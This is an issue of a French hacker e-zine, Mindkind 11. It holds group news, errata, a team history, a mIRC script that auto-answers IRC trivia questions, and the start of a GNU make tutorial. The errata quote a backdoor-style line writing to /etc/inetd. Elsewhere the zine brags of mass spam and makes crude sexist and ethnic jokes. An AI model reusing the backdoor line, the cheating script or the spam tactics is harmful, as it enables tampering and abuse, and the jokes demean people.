__ _ ____ __ _ ____ | \_________________ _ ___/ | .---- --- --- ---------. .---- --- --- ---- -----. ; | / |/ | | | / / | | | / / | | ____________ |_/_ / | | |_ _ ________| | | / | | _ __ _ _____ __ _________ __ ___| |____ /_________ | | | | | | | | | | | \ / | | | | | | | _ | | | | (o) (o) | | | | | | | | |_| | :_ | | | . |___ ___ ____| |___ _|_ ____| |____ _____| |_) |_____: || | | | |__) :_____ o o \ | | :_) . ; \ | : |_) | _ _ _ _ _ |\ \ . ! | | |/ \_/ \_/ \_/ \_/ \| \ \ | | | qha ,--./ / : | | ! ; rectum crew |_ / ; | : | | pyrofreak |_ / |______________|_____________|______________| ! ; mad quebec |___/ | immortal hack ; | _ _ _ _ _ ______ _____ _ ___ ____ __ _______ __ __ | | / \_/ \_/ \_/ \_/ | | | / | | | | | ; | / | | __ __| |__ __ : |/ ' | | | | / | :| | . / | || | | / |'-- ----- -- -- - ------- ----' | _ ______ ___ / ____ | | | |_ __________| / | | ; ' _ __ _ _____ _____ ___ __ /____| | | Québec Underground E-zine | | | | | | | | issue 11 | | : | | | _ | . ' aka | | | | | | |_| | | | Mindkind11 . |_ _ ________| |___ _|_ ____| |____ _____| : | | \ ' : | \ __ __| |__ _ | /\ \ | | ; : \ \ | | | | \ ' | | |_ __ ____________ ____| \____ _______ _| '------------ - ---------------' "Mindkind11: Plus grand que jamais. || Le père nowel existe pas, Mindkind si. " Après l'augmentation des ventes faramineuses de Mindkind 10, il n'a pas été compliqué de convaincre le président de la caisse de dépôt de nous faire prêt des quelques 320 millions qu'ont coûté le budget d'effet spéciaux du ezine. Sans compter la paie de tous les employés de soutien et sous-traitants tel que le coursier qui porte les post-its jaunes entre les employés de soutien et la présidence et bien sur entre la présidence et les sous-traitants. Sans oublier la secrétaire blonde aux seins refaits, prête à servir (la secrétaire ou les.. au besoin) et pour l'ambiance, les 3 mexicains qui soutiennent le mur. Il va sans dire que le budget a été des mieux managé. Et si vous vous attendiez à quelque chose, eh bien vous êtes dans le champ, c bien mieux, même si vous trouvez le contraire, c'est quand même mieux. Et si ça fait pas votre affaire on a aussi payé des nano-pygmés, pour suivre vos moindres faits et gestes, qui appellent les nano-policiers au moindre signe de dégoût de votre part pour vous maîtriser par la force, ainsi que des nano-contrôleurs de nano-policiers qui ont pour fonction de s'assurer que le tout se déroule dans la plus grande douleur possible. Il ne vous reste plus maintenant qu'a vous asssir confortablement et a savourer le produit. Celui qui trouve le message encodé dans ce disclaim gagne 2 billets qui donnent accès à des warp-gates nolisées pour les îles Fidji. Erratum : Ceux qui sont moins habitués avec la langue française se demandent certainement ce que c'est qu'un erratum. Et bien, c'est un retour sur les erreures qu'on fait dans un périodique. Dans un soucis d'offrir le meilleur produit possible, nous avons décidé de revenir sur les erreurs commises dans Mindkind, car oui Mindkind fait des erreurs, et on est loin d'être les seuls, mais on est peut-être les seuls qui l'avoue. C'est donc pour cette raison (et aussi à cause de notre arrogance légendaire) que nous allons aussi corriger les autres. Source : Mindkind 10 - Relatations sur le rectum crw Erreur de type : trompé de personne On a rapidement su qu'on a inclu une personne dans le tas, sans que ça soit un vrai membre du rectum shit. Il s'agit de UnixGods (lire UnixGoods). Au début on pensait que c'était un prétentieux, on avait raison. Par contre, lui aussi avait raison de l'être : cé pas un membre du rectum chose, et il est compétant. C'est pour cette raison d'ailleurs qu'il s'est join à Mindkind, devenant un allier plus qu'utile. M'enfin, on c'était trompé car il se tenait sur le chan des rectums pour les mêmes raisons que nous.. les observer. M'enfin, nos excuses. Source : Mindkind 10 - Team teso Exploit Erreur de type : peut-être une erreur de jugement Et oui, encore une erreur sur la personne. Cette fois ci, l'article mentionne que c'est le team TESO qui a backdoorer l'exploit... est-ce vrai? Si on regarde dans le passé il y a plusieurs sploits de TESO qui ont été backdoorés.. et comme de faite TESO la dit sur le site.. comme nous faisait remarquer g463 "tu penses que c gars la on du temps à perdre à faire des doors?". Par contre, on peut se demander à quel point on peut trouver crédible un groupe de hack qui se défend de mettre des backdoors dans leurs exploits. S'ils le feraient vraiment, probablement qu'ils diraient aussi que ce n'est pas eux, et le fait d'ajouter execl("/bin/echo", "backdoors", "backdoors > /etc/inetd", NOLL); n'est pas tres long, vous en conviendrez. Finalement on place plus cette erreur comme une grande incertitude sur le coupable.. paranoïa oblige. Source : www.madquebec.org Erreur de type : ramassis de fausse affaire sur le site de madquebec (un groupe minable de la scene local), on peu lire ceci : " 13/11/2002 - Le hackfest s'est bien deroule en fin de semaine. Effectivement le HackFest etait pas mal cool. Les anciens de l'underground etait la  au grand complet.. Total Control ( un peu vieux mais tres bon ), MindKind ( ca pas marcher fort fort leur affaires.. c'est dommage car il ont du potenciel ), Northern Phun Co ( NPC... on oubli jamais ces classiques =P ) IGA ( un autre classique ), et moi.. ( bon je faisait pitier mais bon ! ). Il n'y a pas eu vraiment de competition mais on peut dire que c'est une reussite... attendons nous à plus gros l'annee prochaine ! " Les vérités dans cette nouvelle la, s'arrêttent à la première ligne. Err418 n'était pas présent (Total Control), Mindkind n'a pas participé, NPC était pas vraiment la non plus, et lui on l'ignore, tellement il est inconnu. Si vous voulez vraiment savoir ce qu'a été le Hackfest, allez lire l'article de ce ezine qui se rapporte directement à l'évènement. Source : Mindkind 11 Erreur de type : ne vous en faites pas les enfants. Il est mentionné dans le titre sous le logo du présent ezine que "le père nowel existe pas". C'est faux, le voici : _____________ / \ \ __ _ __________ _ _____ / \ \ | | / _________ \ | | | \/ \ / | | will hack to get | / _ _ \/_ | | my fuckin raindeers | | O _ o | \_ \ | BACK ! | | __(_)__ | \ / | | /\_/ \_/\~~ / \ |_____ ___ _____ ____| / _____ \ ~\_/ | | __| /___ _\ ~~ |____ _ ______ _ _ __| _| / | \\ ~ | | | _)| / \ \\ ~~ / | | |(_| / \ ''~~ / _ _ _____ _ |_|__|( | / \__ _ __ ____/ . /' | | / ' \ | | / / / |__| /\____ / . | \_____/ | / \ ' / /\_/._ __ _ ________ ________/ \_\_| | | |_ _ ____________ _____ _| \ / \ / | | | ' | |_ _ ____|_ _ _____| |____ ___|___ _ ___| ___| | |___ | | | \_ ____ ___/ \__ ____ ___/ Nous rejoindre ? Quelle idée farfelue, si vous croyez toutefois que vous avez une raison légitime de le faire, vous pouvez communiquer avec nous via email à mindkind@mindkind.org ou par irc : Undernet : #mindkind.org Dalnet : #mindkind Efnet : #mindkind OpenProjects : #mindkind Si vous avez rien d'intéressant à dire, on apprécierait que vous le gardiez pour vous. Merci. Wyzeman & LastCall_ __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- -----. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ Table des anti-matières \ 11 \ | : \________| . ; ! : 11.01 Le Patrimoine lémurien LastCall_ . ; 11.02 You Make me File like an ASCII queen acidmen . : 11.03 40 PKP en show dans un trou de terre init_null : , 11.04 Googleownized __2 : : 11.05 Review du Hackfest 2002 Wyzeman | : 11.06 Avez-vous déjà touché un (Cisco) CLI? LastCall_ . . 11.07 Le mirroir de l'évolution nothing94 ! . 11.08 Un trio fmt svp g463 . , 11.09 One day we should be root Wyzeman | ; 11.10 C'est rare un raw socket sous Win Alice^ : : 11.11 Un hack XSS en pain d'épice MindFlayR ! : 11.12 You're younger now that in the end c4ndu | , 11.13 The Perl Anthology Tome 3 LastCall_ . : 11.14 T'en veux-tu du code en vla! val0rz ! : 11.15 Le secret de la pierre philosophale LastCall_ | ; 11.16 Run Micro$oft run BoiSS : . 11.17 "I'm in love with my sadness" ** c4ndu : ; 11.18 .hack_history Mindkind | : ________ . . \ \ ! . \ \ . ; ** Zero(smashing pumpkins) \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------ --- -\ \-' \____ _ _\ Dans la version "full" du ezine, vous retrouverez : - Mister T vs. Lamers, Part 1 : Au hackfest (histoire fictive) - Radio31337 - Les conseils pour hax0r.mp3 (conseils fictifs) - Mindkind en rubic snake __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.01 Le patrimoine lémurien vous présente : \ \ ! . Histoire de Mindkind; \ \ . ; industrialisation with attitude \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Septembre 2002 : Lancement de Mindkind 10 C'est dans un bing bang que le ezine fût lancé. Faut dire qu'on avait fait du MASS SPAM, alors ça la bien marché. De mémoire comme ça, on a eu dans le 150 hits sur le web si on compte pas les dupes faits pour faire hot. Bien que complètement dégueulasse (spammer on join sur #montreal genre haha) le mass spam nous a permit de nous faire connaître... Pendant que le ezine se répandait, le fameux rectum crew continuait de se faire fesser dessus car la notoriété lame du rectum crew était maintenant ancrée dans la tête de tous. Il est à noté qu'après la parution du ezine, UnixGods (maintenant __syscall) c'est joint à nous, car lui aussi était contre le RC (voir mon article Erratum). C'est grâce à lui d'ailleurs que le rectum crew nous a proposé une "trêve", du genre "on touche pu à vos channels, faites-nous une liste". heh Pendant ce temps notre reste de publique cible d'insulte (pyrofake), disait que notre ezine était à chier, sûrement à cause qu'il avait du texte à lire entre les ASCIIs. Une fois content d'avoir vu que toute la planète (heh) a lu notre ezine, tout le monde voulait faire un deuxième ezine... jusqu'au lendemain ou on oublia tout et on prit des petites vacances. Octobre 2002 : un ti break qui dure pas trop longtemps.. Bon ok, c'est clair qu'on n'était pas pour sortir un deuxième ezine drette là, mais l'ambiance était à son meilleur. Tigerbalm fut diagnostiqué du syndrome du je-fais-des-bots-oui-des-bots. LastCall_ tellement en manque commença a coder un bot qui cruise à sa place. g463 changea d'idée au sujet du ezine (gee était très rébarbatif au sujet de faire un ezine), ce qui était une preuve que finalement on suckait pas tant que ça... bien que productif et aisée, l'ambiance resta calme sur le channel, le ezine nous avait épuisé. Mi-Octobre 2002 : LastCall_ ya une grande yeule Constatant que son bot lui avait pas encore pogné de chix, Last décida d'écrire quelque chose d'actuel : il débuta la fameuse NewsLetter de Mindkind. Une fois par semaine, il s'enferma dans son appart en relisant les logs de la semaine, et en sortant des histoires ajoutées, le tout en visant directement les personnes sur #Mindkind Undernet. La NewsLetter fut un succès, et le groupe devint sur le même beat. Ceux qui n'avaient pas la chance d'avoir le temps de suivre tout ce qui se passait sur le channel pouvait avoir les meilleurs moments, et ceux qui avaient du temps à perdre pouvait lire sur les différents sujets traités par Last qui avaient pas nécessairement rapport avec Mindkind, mais qui étaient quand même pertinents. La NewsLetter grossissait de semaine en semaine, signe que le groupe se réactivait, on a même vu une de 37ko (crissement long à lire heh). Novembre 2002 : ça roule ma poule Last et init ont fait une autre radio (épisode 3) en direct de chicoutimi, ce fut un fun incroyable, avec ~15 users tout le long. Un best-of a été fait, et un paquet de personnes (~100 sans jokes) l'ont downloadé. De plus les Mindkindiens étaient rendus totalement accros au bot faite par Last (le supposé bot qui cruisait sur réseau-contact pour Last était en fait contrôlable via IRC.. hee hee). Le monde failli viré barge à regarder des pics de chix à longueur de journée, mais le hackfest approchait. C'est alors qu'un méga-trip de moi-jcode-des-sploits commença, Wyzeman était de la fête avec __2 (pour le hackfest justement) et g463 pitonnais sur #mindkind avec init_null, Wyze, [Funky] pis sûrement d'autre monde que j'oublie. C'était la folie furieuse.. Last était en rush d'université pis de dépression, donc Wyze prit la relève une fois pour la NewsLetter. Le chan allait de bon train, mais le hosting de mindkind.org était slow à cause de la connexion de Last qui était rendu à 5mpbs en upload, pour 300 users :-/. C'est alors que WiL sorti de l'ombre avec une proposition de webhosting. Wyzeman avait donc lancé l'idée via la mailing list du ezine #11. Fin Novembre 2002 : préliminaires Tout le monde était excité de partout, __2 commença un peu à suivre Mindkind, car depuis le pré-hackfest lui pis Wyze avaient beaucoup fait de stock ensemble.. Last fit d'ailleurs un montage des pics disponible sur un site de secours : http://www.geocities.com/agecal2/mr_t/. Plutôt marrant, les autres continuaient leurs projets, qui d'ailleurs sont tellement nombreux que j'en ai de la misère à m'en souvenir... heureusement on était pas pour tout perdre dans la brume.. car le ezine se faisait sentir... Décembre 2002 : start of the ezine mania Tout commençait à grouiller en fonction de sortir un ezine, plusieurs articles furent écrits, plein de prédiction d'articles, des codes sources, etc. __2 a décidé que Mindkind c'était bien, qu'il ne voulait pas en faire parti, mais qu'il ne voulait pas gaspiller ses articles sans les publier. C'est alors qu'on ouvrit la porte du ezine aux "collaborateurs extérieurs", mais le chan était solidement fondé, et les personnes présentes (si on compte les bots on a un peak de 27, une moyenne de 16-20) étaient réticentes aux nouveaux venus, cependant acidmen sorti de That 70s show et est venu nous épater avec de la jonglerie virtuelle. h3 eu une idée de BD et Last (avec son imagination de mongole) alla lui donner un petit coup de main et en un autre coup de main (ça s'en vient violent la) de la part de BoiSS, et un bot XDCC pour spreader notre stock (décidément le new host pour le site web était attendu) rapidement fut créé. Quand même bien, on verra sa puissance de feu à la sortie du prochain ezine.. Cette prochaine sortie stressa le monde (en plus de la fin de session Univ/Cgep) et l'atmosphère devint violente par moment. Cependant Last avait fini de péter sa dépression, et Mindkind était trop solidement placé pour être désancré. Nowel 2002 : un ezine comme cado dnowel stu pas cuuute C'est donc après une phase d'assurance qualité (clin d'oeil GL ici) que le ezine fut emballer spécialement pour vous (tar cvf et gzip). Contenant plus de cadeaux que le bas de nowel d'un éthiopien de classe pauvre, voici donc le ezine Mindkind 11 à imprimer et à lire pendant les partys des fêtes poches. - La mémoire de LastCall_ ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / lastcall@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' Voici un petit script mIRC qui vous permettra d'avoir l'air uber élite sur #triviafr (trivia, vous savez ces jeux ou un bot pose une question et dont le premier a la réponse fait x pts. Un jeux ou les BS excellent généralement puisque les pts sont compilés par semaine, et qu'un BS dans une semaine a 168(7*24) heures de temps à perdre dans un trivia. Pas besoin de dormir quand on est BS. Enfin, voici un code qui vous permettra de leur faire rendre compte que vous êtes plus bright qu'eux. Crédit : rtfm` (via BoiSS) ------------------------------- 8< cut here 8< ------------------------------- on 1:text:*:#triviafr: { if Trivia isin $nick { if (Question isin $1- && ? isin $1-) { set %triviafr.questions $1- $read(questions.txt,s,$1-) if ($readn == 0) { set %triviafr.addquestion 1 set %triviafr.theanswer } else { ;timer 1 $rand(1,4) msg $chan $read(reponses.txt,$readn) set %triviafr.theanswer $read(reponses.txt,$readn) echo #triviafr JE CONNAIS LA RÉPONSE F9 POUR RÉPONDRE | echo #triviafr La reponse est %triviafr.theanswer set %triviafr.addquestion 0 } } if (=> isin $1- && => isin $1- && A Gagné !isin $1- && pour la dernière question !isin $1-) { set %triviafr.theanswer set %triviafr.temp $remove($1-,$left($1-,$pos($1-,>,4) +1)) set %triviafr.temp2 $strip($remove($left(%triviafr.temp,$pos(%triviafr.temp,<,1) +2),<)) $+  echo %triviafr.temp2 if %triviafr.addquestion = 1 { write questions.txt %triviafr.questions | write reponses.txt %triviafr.temp2 } } } } menu channel { &TriviaFR .&Lines Number:/echo -a Questions lines : $lines(questions.txt) | echo -a Answers Lines : $lines(reponses.txt) .- .&TOP10:/msg #triviafr !top10 } alias F9 { /msg #triviafr %triviafr.theanswer | set %triviafr.theanswer $chr(32) } alias F8 { /msg #triviafr !!hint } alias F7 { /msg #triviafr hehe.. google } ------------------------------- >8 cut here >8 ------------------------------- __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.02 Présentation des makefiles \ \ ! . aka \ \ . ; You Make me File like an ASCII queen \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ ^^^^^^^ Ò] [] ~~~~ ____ | | _____ ______ || | | || || | A | || J`aimerais remercier tout spécialement =====| Z |===== Micheline SansZavnir qui m'a enduré | T | pendant mes longs cours de ... | | E | | ascii par correspondance. | | K | | |_ _| / ( || ) \ / /( ||) \ \ / (|| ) \ \ / / || \ / \ \ / / || ) \ \ / / \ / [01010101010] \ / / En passant pour ceux qui ne savent pas encore qu'est-ce que j'ai voulu dessiner c'est sans importance... dites vous juste que je suis 31337 ;P Présentation des makefiles. Vous aurez sûrement remarqué le makefile livré avec un programme lorsque vous l'avez compilé. Étant donné le niveau de complexité pouvant être atteint par un fichier make, vous pouvez à juste raison vous demander : "pourquoi utiliser make?" Si vous imaginez un instant un projet composé de dizaine, voir de centaines de modules, vous n'êtes sans doute pas très impatient de recompiler tous ces modules chaque fois que vous modifiez une ligne de code. Imaginez que vous devriez recompiler entièrement votre noyau à la main après une petite modification du code source. Il serait extrêmement difficile de déterminer les compilations à omettre, et l'omission de la compilation indispensable entraînerait des problèmes. C'est pourquoi la commande make est précisément destinée à ce genre de travail. La commande make est capable de tirer des conclusions sur les dépendances existantes entre divers fichiers. Elle possède d'autres fonctionnalités qui la rendent très puissante: elle sait définir des macros et des cibles supplémentaires qui vous permettront d'être plus efficace. Autre avantage des processus make : les instructions de compilation sont enregistrées dans le fichier make. Par exemple, il n'est pas nécessaire de mémoriser tous les paramètres de ligne de commande utilisés pour un projet. Mieux encore, il n'est pas nécessaire de documenter à l'intention d'autrui ce qui vous a servi à construire ce projet. >> Le Makefile Lorsque vous lancez la commande make sans désigner explicitement un fichier make sur la ligne de commande ( avec le paramètre -f), l'utilitaire GNU make recherche trois noms de fichiers par défaut dans le répertoire en cours, dans l'ordre suivant : 1. GNUmakefile 2. makefile 3. Makefile >> Nommer le Makefile Makefile Le nom Makefile avec la première lettre en majuscule convient le mieux, car lorsque vous listez vos fichiers, il figure en début de la liste. GNUmakefile La documentation de GNU make conseille d'éviter d'employer le nom de fichier GNUmakefile. Vous ne devez l'utiliser que si vous vous servez des foncionnalités gérées par la commande GNU make. Si le groupe de fonctionnalités employées est celui make UNIX standard, préférez Makefile ou makefile. makefile Lorsque le nom Makefile normal( avec un "M" majuscule) est utilisé, il vous reste une possibilité préalable. Si vous téléchargez un paquetage de sources de l'Internet, mais découvrez que vous avez besoin de modifier le Makefile fourni, vous pouvez tester vos modifications sans toucher à ce Makefile: 1. Recopiez Makefile en makefile. 2. Editez makefile selon vos besoins. 3. Lancez la commande make. C'est makefile qui est utilisé à la place de Makefile, car il est choisi en premier lorsqu'il existe. >> Les cibles des Makefile La commande make commence par la notion de cible. Lorsqu'elle possède un fichier make, la commande make doit traiter au moins une cible de ce fichier, sinon rien ne se passe ; et si le fichier ne contient aucune cible, la commande make se plaint de la situation : |#| bash$ make |#| make: *** No targets. Stop. |#| bash$ >> Définir les cibles Le listing 1.0 suivant présente un Makefile très simple pourvu de trois cibles, one, two, three, aux ligne 4, 7 et 10. Un nom de cible commence toujours au début d'une ligne et est suivi du caractère deux-points. _= Listing (1.0) Makefile simple comportant trois cibles =_ |#| 1: # Source: /home/acidmen/make/RCS/Makefile,v $ |#| 2: |#| 3: |#| 4: one: |#| 5: @echo One |#| 6: |#| 7: two: |#| 8: @echo two |#| 9: |#| 10: three: |#| 11: @echo three |#| 12: |#| 13: # End Makefile >> Invoquer les cibles de Makefile Pour invoquer une cible, il suffit d'indiquer son nom sur la ligne de commande. Par exemple, la commande suivante invoque la cible two: |#| bash$ make two |#| Two |#| bash$ Dans cette exemple, make ignore totalement les cibles one et three. >> Invoquer plusieurs cibles Vous pouvez également invoquer plusieurs cibles sur une même ligne de commande: |#| bash$ make three one two |#| Three |#| One |#| Two |#| bash$ Remarquez que les cibles sont traitées dans l'ordre des arguments de la ligne de commande. >> Les cibles par défaut La commande make suppose que la toute première cible rencontrée dans le fichier make est la cible par défault. Considérez l'exemple suivant : |#| bash$ make |#| One |#| bash$ make invoque la première cible rencontrée, one, à la ligne 4 du listing (1.0). Les noms de cible two et three sont considérées comme cibles de remplacement et ne sont pas invoquées. >> Les noms de cible standards Bien qu'aucun standard formel n'existe pour les noms de cibles, vous rencontrerez quelques conventions très répandues lorsque vous examinerez les fichiers make de sources publiquement téléchargeables. [*] _all_ est souvent utilisé comme la première cible et par conséquent celui par défaut. Il sert habituellement à nommer les vrais noms de cibles, qui peuvent être une ou plusieurs autre cibles, qui peuvent être une ou plusieurs autres cibles. En utilisant cette cible, vous construisez le projet entier. [*] _install_ est normalement employé pour installer un projet construit, dans ses répertoires dus système Linux, avec les autorisations correctes et les règles de propriété, en créant les sous-répertoires si nécessaire. [*] _clean_ est souvent utilisé pour vous permettre de supprimer tous les fichiers objet (*.o), les fichiers core, et les autres fichiers provisoires qui ont pu être créés lors de la construction. Cette cible laisse les exécutables et les bibliothèques construits en place. [*] _clobber_ est souvent utilisé pour supprimer les cibles construitent du projet (en général, les exécutables et les bibliothèques). Vous supprimez ces cibles pour reconstruire les fichiers de configuration du projet, etc. [*] _distclean_ est souvent utilisé par les développeurs Linux et GNU pour nettoyer complètement le fichier du projet, sauf en ce qui concerne les fichiers d'origine distribués sur l'Internet. Dépassant clobber, cette cible supprime les fichiers de configuration du projet, etc. >> Les dépendances On accepte couramment des dépendances entre certains noms de cibles. En tant que programmeur( ou progGameur? peut importe;), vous devez savoir que : [*] La cible install dépend habituellement de all. [*] La cible clobber dépend habituellement de clean. [*] La cible distclean dépend habituellement de clobber. Si install dépend de la cible all, le projet est d'abord construit, si nécessaire, puis l'installation tentée. Sinon, il n'existe aucun projet à installer. Cependant, les logiciels sont souvent installés avec les privilèges de root, il n'est par conséquent pas souhaitable de construire votre projet lorsque vous opérez sous root. Si vous vous en sentez capable, vous pouvez omettre cette dépendance dans votre projet. La cible clobber dépend de clean, généralement par commodité. La cible clean s'occupe d'une partie du travail et il vous suffit de définir le reste pour clobber. La cible distclean fonctionne sur le même principe. >> Définir les dépendances Le listing (2.0) présente un nouveau fichier make auquel ont été ajoutées des dépendances. La cible three dépend de la cible two (ligne 10), et la cible two dépend à présent de la cible one (ligne 7). Remarquez que les dépendances sont simplement indiquées après le nom de la cible et le caratère deux-points. Les dépendances supplémentaires sont séparées par un ou plusieurs espaces. Au moins un espace doit séparer le caractère deux points de la prmière dépendances. _= Listing (2.0) Makefile avec dépendances=_ |#| 1: #Source: /home/acidmen/make/RCS/Makefile,v $ |#| 2: |#| 3: |#| 4: one: |#| 5: @echo One |#| 6: |#| 7: two: one |#| 8: @echo Two |#| 9: |#| 10: three: two |#| 11: @echo Three |#| 12: |#| 13: # End Makefile >> Tester les dépendances des cibles A présent, lorsque vous invoquez le fichier make du Listing (2.0) avec le nom de cible three, vous constatez que la commande make traite en réalité les trois cibles: |#| bash$ make three |#| One |#| Two |#| Three |#| bash$ Cet ordre vous surprend-t-il? La cible est exécutée la première, car la cible two dépend d'elle, et la cible three dépend de two. Par conséquent, avant de pouvoir faire quoi que ce soit pour la cible three, ses dépendances doivent être satisfaites. Bien que la cible invoquée soit three, la chaîne des dépendance est tell que make doit invoquer one en premier pour satisfaire les deux autres cibles. >> Définir les macros de make La puissance des scripts shell tient en partie à leur capacité d'utiliser et de manipuler des variables shell et des variables d'environnement. La commande make possède ce genre de fonctionnalité et sait également utiliser les variables d'environnement. Une macro make peut contenir une valeur de chaîne comme un nom de fichier ou une valeur de paramètre. Une macro permet de ne définir qu'une seule fois une certaine valeur dans le Makefile, tout en permettant de l'utiliser dans plusieurs endroits. Lorsqu'une modification est nécessaire, il suffit de modifier l'affectation de la macro, et elle apparaît immédiatement partout où la macro est utilisée. Le listing (3.0) présente une nouvelle édition du Makefile de démonstration. La ligne 5 montre comment déclarer une macro OBJECT et initialiser sa valeur à "Pear". Vous supprimez également les dépendances préalablement utilisées et ajoutez un nom de cible par défaut plus conventionnel, all, à la ligne 7. Remarquez que cette cible dépend de trois cibles, on, two, three. Un projet important est souvent structuré de cette façon dans un fichier make. _= Listing (3.0) Makefile avec une définition de macro=_ |#| 1: # Source: /home/acidmen/make/RCS/Makefile,v $ |#| 2: # Revision: 1.3 $ |#| 3: |#| 4: |#| 5: OBJECT= Pear |#| 6: |#| 7: All: one two three |#| 8: |#| 9: one: |#| 10: @echo one $(OBJECT) |#| 11: |#| 12: two: |#| 13: @echo Two $(OBJECT)s |#| 14: |#| 15: three: |#| 16: @echo Three $(OBJECT)s |#| 17: |#| 18: # End Makefile Les lignes 10, 13 et 16 montrent un exemple d'utilisation de la valeur de la macro. Elle est substituée au signe $ et au nom de la macro qui suit entre parenthèses. Les parenthèses ne sont pas nécessaires lorsque le nom de la macro ne comporte qu'une lettre, par exemple $x. Il est cependant conseillé d'utiliser des noms de macro significatifs. A présent, invoquez ce fichier make et observez son résultat. |#| bash$ make |#| One Pear |#| Two Pears |#| Three Pears |#| bash$ Remarquez la substitution par la valeur. Notez aussi que la cible de la ligne 7 ne comporte aucune instruction. Cette ligne ne sert qu'à relier une cible aux autres dépendances. >> Supplanter les valeurs d'une macro La commande make permet également de passer outre la valeur d'une macro. Avec le fichier make du listing (2.0), vous exécuter : |#| bash$ make OBJECT=apple |#| One apple |#| Two apples |#| Three apples |#| bash$ La ligne 5 affecte la valeur "Pear" à la macro OBJECT, mais l'affectation de la ligne de commande "OBJECT=apple" est prioritaire. On peut donc dire que la commande make effectue d'abord toute les affectations de macros dans le fichier make, puis celles éventuellement rencontrées sur la ligne de commande. >> Utiliser les variables d'environnement La commande make peut également prendre des valeurs de l'environnement. En utilisant une nouvelle fois le fichier make du listing (3.0), voyez si vous pouvez écraser une macro avec une variable d'environnement exportée : |#| bash$ OBJECT=walnut make |#| One Pear |#| Two Pears |#| Three Pears |#| bash$ C'est étonnant, ce test semble ne pas fonctionner, En réalité, les variables d'environnement n'écrasent pas les affectations de macros d'un fichier make. Si la macro OBJECT n'avait pas été définie dans notre fichier make, la substitution aurais été effectuée. Pour preuve, mettez la ligne 5 du listing (3.0) en commentaire et essayez de nouveau. |#| bash$ OBJECT=walnut make |#| One walnut |#| Two walnuts |#| Three walnuts |#| bash$ ` Cette fois, aucune affectation de macro ne figurant dans le Makefile, la valeur de la variable d'environnement OBJECT demeure et est utilisée comme attendu. _= Listing (4.0) Makefile avec l'affectation de la macro mise en commentaire=_ |#| 1: # Source: /home/acidmen/make/RCS/Makefile,v $ |#| 2: # Revision: 1.3 $ |#| 3: |#| 4: |#| 5: #OBJECT= Pear |#| 6: |#| 7: All: one two three |#| 8: |#| 9: one: |#| 10: @echo one $(OBJECT) |#| 11: |#| 12: two: |#| 13: @echo Two $(OBJECT)s |#| 14: |#| 15: three: |#| 16: @echo Three $(OBJECT)s |#| 17: |#| 18: # End Makefile >> Utiliser le paramètre -e Un paramètre de make, -e, permet à l'environnement d'écraser les macros du fichier make. Toutefois, utilisez-le prudemment, car l'environnement peut être modifié bien plus que vous ne le pensez. En reprenant le fichier make d'origine du listing vous pouvez tester cette règle : |#| bash$ OBJECT=walnut make |#| One Pear |#| Two Pears |#| Three Pears |#| bash$ OBJECT=walnut make -e |#| One walnut |#| Two walnuts |#| Three walnuts |#| bash$ - Vous avez exporté la variable d'environnement OBJECT et exécuté la commande make, mais la variable OBJECT n'a aucun effet - Vous avez exportez la variable d'environnement OBJECT une nouvelle fois, mais exécutez ici make avec le paramètre -e. Cette fois, la variable d'environnement OBJECT influence le résultat. ++ Lorsque vous comptez sur des variables d'environnement dans un fichier make, assurez-vous qu'elles sont bien exportées de votre shell. Assurez-vous également de bien comprendre ce que la commande d'exportation intégrée effectue dans le shell bash. >> Les suffixe de fichiers La commande make est très largement dépendante des suffixes de fichiers, desquels elle déduit le type du fichier. Grâce à des conventions, elle peut appliquer des règles de déduction par défaut. Avant d'étudier ces règles, regardons quelques suffixes connus de make, dans le tableau (1.0) Tableau (1.0) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > Suffixe de fichier < | > Description < - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ] .c | Module source en langage C [ ] .h | Fichier d'en-tête en lengage C [ ] .cc | Module source en langage C++ [ ] .o | Fichier objet compilé [ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >> Comprendre les règles de déduction La puissance de la commande make propose en partie sur ces règes de déductions. Mais ceux-ci peuvent être une source de frustration lorsqu'elles ne sont pas bien comprises.( exemple tiré d'un fait vécue : essayer de sodomiser sa boite à malle ) =| /---|--- 8=====D|______| || || || (c) Walt Disney > Tester les règles de déduction par défault Ecrivez ce ptit programme - hello.c - |#| 1: #include |#| 2: int main(int argc, char **argv) { |#| 3: |#| 4: (void) argc; |#| 5: (void) argv; |#| 6: |#| 7: PUTS("Hello World!"); |#| 8: return 0; |#| 9: } /\ Pause publicitaire payée en nature par JoJo savard / \ Qui vous dit : < > 1-800-Dit-moi-pas? \ / "salut mes chouuuxx mieux ruiner c'est mieux que vaut l'astre \/ est dans la lune, la lune est dans le ciel suivez votre bonne étoile." hooo, un beau message d'espoir pour le temps des fêtes ;) mon coeur se contient plus. ... qqn est partant pour coder a ze power di-kRypt3rz 3000 for j0j0 s4vardz? Bon, une fois votre programme écrit, testez ensuite les règles de déductions par défault de make, comment indiqué dans le listing (4.5). _= Listing (4.5) Tester les règles de déduction de hello.o de GNU make=_ |#| 1: bash$ mkdir experiment |#| 2: bash$ cd experiment |#| 3: bash$ cp ../hello.c . |#| 4: bash$ >Makefile |#| 5: bash$ make hello.o |#| 6: cc -c hello.c -o hello.o |#| 7: bash$ type cc |#| 8: cc is 